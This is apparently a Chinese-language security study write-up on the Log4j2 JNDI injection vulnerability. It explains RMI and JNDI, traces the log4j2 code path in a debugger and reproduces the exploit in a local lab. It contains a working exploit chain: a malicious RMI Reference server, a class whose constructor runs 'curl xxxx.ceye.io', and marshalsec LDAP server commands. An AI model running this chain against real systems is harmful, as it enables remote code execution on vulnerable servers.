0X01 Log4j2 组件

Log4j2 日志组件是一款比较优秀的 Java程序日志监控组件,同属于 Java全生态中的基础组件之一。最近被爆出 RCE 漏洞,据不完全统计,影响多达60644个开源软件,涉及相关版本软件包更是达到321094个。且利用方式简单,之前测 XSS 的点,都可以用来插入恶意代码,被称为核弹级漏洞

0X02 RMI

RMI 概念

要分析 Log4j2 漏洞 就得了解一下 RMI 和 JNDI。

RMI 全称 Remote Method Invocation,是 JAVA 实现远程过程调用的应用程序编程接口,存储于 java.rmi 包中,使用期方法调用对象时,必须实现 Remote远程接口。它可以让客户机上运行的程序调用远程服务器上的对象。而远程方法调用的特性可以让开发者能够在网络环境中分布操作。RMI 宗旨就是尽可能简化远程接口对象的使用。

RMI 三层架构

  • 客户端
    • 存根/桩(Stub):远程对象在客户端上的代理。
    • 远程引用层(Remote Reference Layer):解析并执行远程引用协议。
    • 传输层(Transport):发送调用、传递远程方法参数、接收远程方法执行结果。
  • 服务端
    • 骨架(Skeleton):读取客户端传递的方法参数,调用服务器方的实际对象方法, 并接收方法执行后的返回值。
    • 远程引用层(Remote Reference Layer):处理远程引用后向骨架发送远程方法调用。
    • 传输层(Transport):监听客户端的入站连接,接收并转发调用到远程引用层。
  • 注册表
    • 注册中心(Registry):以URL形式注册远程对象,并向客户端回复对远程对象的引用。

流程图-引用先知社区小阳大佬的图

image-20220212042508121

觉得上图太复杂可以看这幅图-引用先知社区大佬ghtwf01

image-20220212042714950

代码例子

服务端配置

先编写一个远程接口

  • 该接口需要继承 Remote 类,该类仅表示 RMI 标识接口,说明可进行 RMI JAVA 虚拟机调用
  • 需要声明 java.rmi.RemoteException 报错,因 RMI 通信本质是基于 “网络传输”
package RMIServer;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloWorld extends Remote {
public String hello() throws RemoteException;
}

远程接口实现类

  • 需要继承 UnicastRemoteObject 类,用于生成 Stub(存根) 和 Skeleton(骨架)
    • Stub 可以看作远程对象在本地的一个代理,囊括了远程对象的具体信息,客户端可以通过这个代理和服务端进行交互。
    • Skeleton 可以看作为服务端的一个代理,用来处理Stub发送过来的请求,然后去调用客户端需要的请求方法,最终将方法执行结果返回给 Stub 。
  • 构造函数需要抛出 java.rmi.RemoteException 报错,同时使用 super() 关键词调用父类构造函数
package RMIServer;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RMIHelloWorld extends UnicastRemoteObject implements HelloWorld {
protected RMIHelloWorld() throws RemoteException{
super();
System.out.println("RMIServer构造函数运行");
}

public String hello() throws RemoteException{
System.out.println("RMIServer接口调用成功");
return "RMIServer接口调用成功";
}
}

服务端部署代码

package RMIServer;

import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIS {
public static void main(String[] args) throws RemoteException {
RMIHelloWorld hello = new RMIHelloWorld();//创建远程对象
Registry registry = LocateRegistry.createRegistry(1099);//创建注册表
registry.rebind("hello",hello);//将远程对象注册到注册表里面,并且设置值为hello

}
}

服务端配置完成后, RMIS 将提供的服务注册在 RMIService 上,并公开了固定路径,让客户端去访问。

客户端配置

package RMIClient;

import RMIServer.HelloWorld;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIClient {
public static void main(String[] args) throws Exception {
//获取远程主机对象
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

// 利用注册表的代理去查询远程注册表中名为hello的对象
HelloWorld h = (HelloWorld) registry.lookup("hello");

// 调用远程方法
String hello = h.hello();
System.out.println(hello);
}
}

客户端只需要调用 java.rmi.Naming.lookup 函数,通过公开的路径从RMIService服务器上拿到对应接口的实现类, 之后通过本地接口即可调用远程对象的方法 .

首先我们启动服务端

image-20220212050244178

可以看见服务端启动成功,并打印了构造函数的内容。

然后启动客户端

image-20220212050406054

成功调用了 hello 方法。

完整代码

上面由于做测试,我是分成多个文件编写的,有点麻烦,可以将服务端代码写在一个文件里面。

服务端代码

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;

public class RMIS {
public interface HelloWorld extends Remote{
public String hello() throws RemoteException;
}

public class RMIHelloWorld extends UnicastRemoteObject implements HelloWorld{
protected RMIHelloWorld() throws RemoteException{
super();
System.out.println("RMIServer");
}

public String hello() throws RemoteException{
System.out.println("RMIServer接口");
return "RMIServer接口";
}
}

private void start() throws Exception{
RMIHelloWorld hello = new RMIHelloWorld();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("hello",hello);
}

public static void main(String[] args) throws Exception {
new RMIS().start();
}
}

客户端代码

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;


public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

//RMIS.HelloWorld h = (RMIS.HelloWorld) Naming.lookup("rmi://127.0.0.1:1099/hello");
//注意 这里接口得和服务端一致
RMIS.HelloWorld h = (RMIS.HelloWorld) registry.lookup("hello");

String hello = h.hello();
System.out.println(hello);
}
}

服务端启动

image-20220212050648257

客户端启动,成功调用了 hello 资源

image-20220212050734053

大致了解了 RMI 整个流程 , 其他的就不再深入,留个坑先。

0X03 JNDI

JNDI 是 Java 命名和目录接口,全称(Java Naming and Directory Interface,缩写 JNDI ),是 Java 的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

JNDI 注入

JNDI注入简单来说就是在JNDI接口在初始化时,如:InitialContext.lookup(URI),如果URI可控,那么客户端就可能会被攻击。

通过RMI进行JNDI注入,攻击者构造的恶意RMI服务器向客户端返回一个Reference对象,Reference对象中指定从远程加载构造的恶意Factory类,客户端在进行lookup的时候,会从远程动态加载攻击者构造的恶意Factory类并实例化,攻击者可以在构造方法或者是静态代码等地方加入恶意代码。

  • className - 远程加载时所使用的类名
  • classFactory - 加载的class中需要实例化类的名称
  • classFactoryLocation - 提供classes数据的地址可以是file/ftp/http等协议

由于Reference没有实现Remote接口也没有继承UnicastRemoteObject类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapperReference的实例进行一个封装。

服务端配置

import com.sun.jndi.rmi.registry.ReferenceWrapper;

import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//创建注册表
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Expload", "Expload", "http://127.0.0.1:80");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);//封装对象
registry.bind("exp",referenceWrapper); //将封装的对象绑定到 exp 上
}
}

创建一个恶意代码执行类 expload

import java.lang.Runtime;

public class Expload {
public Expload() throws Exception{
Runtime.getRuntime().exec("curl xxxx.ceye.io");
System.out.println("expload攻击");
}
}

编译成 class 文件,创建一个小型的web服务器,需在 class 文件目录下创建

python3 -m http.server 80  //创建小型web服务器

javac Expload //编译java文件

image-20220213051317682

客户端配置

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDI_Exp {
public static void main(String[] args) throws NamingException {
//版本过高,需要人为设定 rmi 或 jndi 为true
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
new InitialContext().lookup("rmi://127.0.0.1:1099/exp");
}
}

成功调用

image-20220213051540667

image-20220213051609667

大致了解了 RMI 和 JNDI 的用法,可以开始分析一波 log4j2 漏洞原理。

0X04 环境搭建

在网上有现成的漏洞环境,这里就不在详细赘述。

漏洞环境:https://github.com/haigeek/Log4j2_RCE

IDEA导入即可。

image-20220209054419236

0X05 漏洞分析

断点

image-20220218131441283

跟进

image-20220218131538411

logIfEnabled 判断日志是否开启,调用 isEnabled 判断,返回true,会调用 logMessage , 跟进 isEnabled

image-20220218132154239

image-20220218132706187

红框中 this.intLever 是 log4j2 默认设置的日志等级,用户也可修改 默认是 200

image-20220218133248862

判断 >= 200 即日志成功开启, 返回 ture,随后调用 logMessage

image-20220218133544587

messageFactory.newMessage 对数据进行参数化,跟进

image-20220218134307319

调用 logMessageTrackRecursion 递归处理日志

image-20220218134652236

跟进

image-20220218135004222

获取日志打印策略 getReliabilityStrategy ,跟进 log

image-20220218135347899

创建 logEvent,然后调用重载方法 log 处理 logEvent 信息

image-20220218135520091

继续跟进

image-20220218135720629

image-20220218135801326

加锁 callAppender 一直跟进带 callAppender 的方法,一直到 tryAppend

image-20220218135943893

上面跟进的流程,大致是流程就是判断日志开启,参数化,打印策略,加锁等

后续是 本次漏洞的关键点。

image-20220218140611381

this.getlayout 是 PatternLayout 对象(处理日志格式对象),这里调用 PatternLayout 对象中的 encode 对日志进行处理

image-20220218141258031

toText 传递了两个参数

  • this.eventSerializer 是处理日志的 11 个 formatters 对象
    • org.apache.logging.log4j.core.pattern.DatePatternConverter
    • org.apache.logging.log4j.core.pattern.LiteralPatternConverter
    • org.apache.logging.log4j.core.pattern.ThreadNamePatternConverter
    • org.apache.logging.log4j.core.pattern.LevelPatternConverter
    • org.apache.logging.log4j.core.pattern.LoggerPatternConverter
    • org.apache.logging.log4j.core.pattern.MessagePatternConverter (重点)
    • org.apache.logging.log4j.core.pattern.LineSeparatorPatternConverter
    • org.apache.logging.log4j.core.pattern.ExtendedThrowablePatternConverter
  • 日志信息

image-20220218141803763

遍历不同的 formatters 对象处理日志信息,此次漏洞点就是在 MessagePatternConverter 对象中

循环进入第八次时,跟进 format

image-20220216083233931

image-20220218142217976

this.noLookoups 为 false 即支持 jndi

image-20220218142834755

这里匹配到 ${ 后,将内容交给 workingBuilder.append 匹配替换,跟进 workingBuilder.append

继续跟进 substitute

image-20220218142912425

这里是将 ${ } [:,-] 字符给替换成空了

image-20220218143525399

然后循环递归提取 ${} 中的内容

image-20220218144211635

提取完内容后交由 resolveVariable 处理,跟进

image-20220218144904632

getVariableResolver 是 interplator 对象 ,包含 3个 map

image-20220218145212375

其中 strLookup 将一些 lookup 功能关键字和对应的实例类进行了映射

后面调用 resolver.lookup 处理,跟进

image-20220218145727250

这里截取 jndi 跟进 jndi 获取到对应的 JndiLookup对象,然后调用 jndi 对象的 lookup 处理 payload 信息

image-20220218150354162image-20220218150354530

image-20220218150416516

执行了恶意类,计算机反弹成功。

有些地方还是有些懵逼,大致了解的差不多了, 后续还需要深入学习一下

0X06 漏洞复现

marshalsec下载地址:https://github.com/mbechler/marshalsec 需自行编译成 jar 包

编译好的下载地址:https://gitee.com/fcncdn/marshalsec-0.0.3/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar

在 java 目录下启个服务,得是 Exploit.java 目录,方便获取到恶意攻击类文件

python3 -m http.server 83

image-20220215123103796

生成 class

javac Expload

image-20220215123050606

使用 marshalsec 开启 ldap 服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:83/\#Exploit

image-20220215123151296

注意:exp 默认执行的是 cmd1 弹出 计算器, 如果你是 mac 要注意计算器的目录,有些可能和exp中目录不一致导致计算器弹不出来。。

image-20220215123344212

做完准备工作后,运行 Test

image-20220215123438294

反弹成功

0X07 参考链接

https://xz.aliyun.com/t/9261

https://xz.aliyun.com/t/9053

https://blog.csdn.net/angry_program/article/details/121994740

https://www.anquanke.com/post/id/263325

https://paper.seebug.org/1787/

https://paper.seebug.org/1786/

https://www.cnblogs.com/dengyungao/p/7524902.html

https://www.cnblogs.com/piaomiaohongchen/p/15711310.html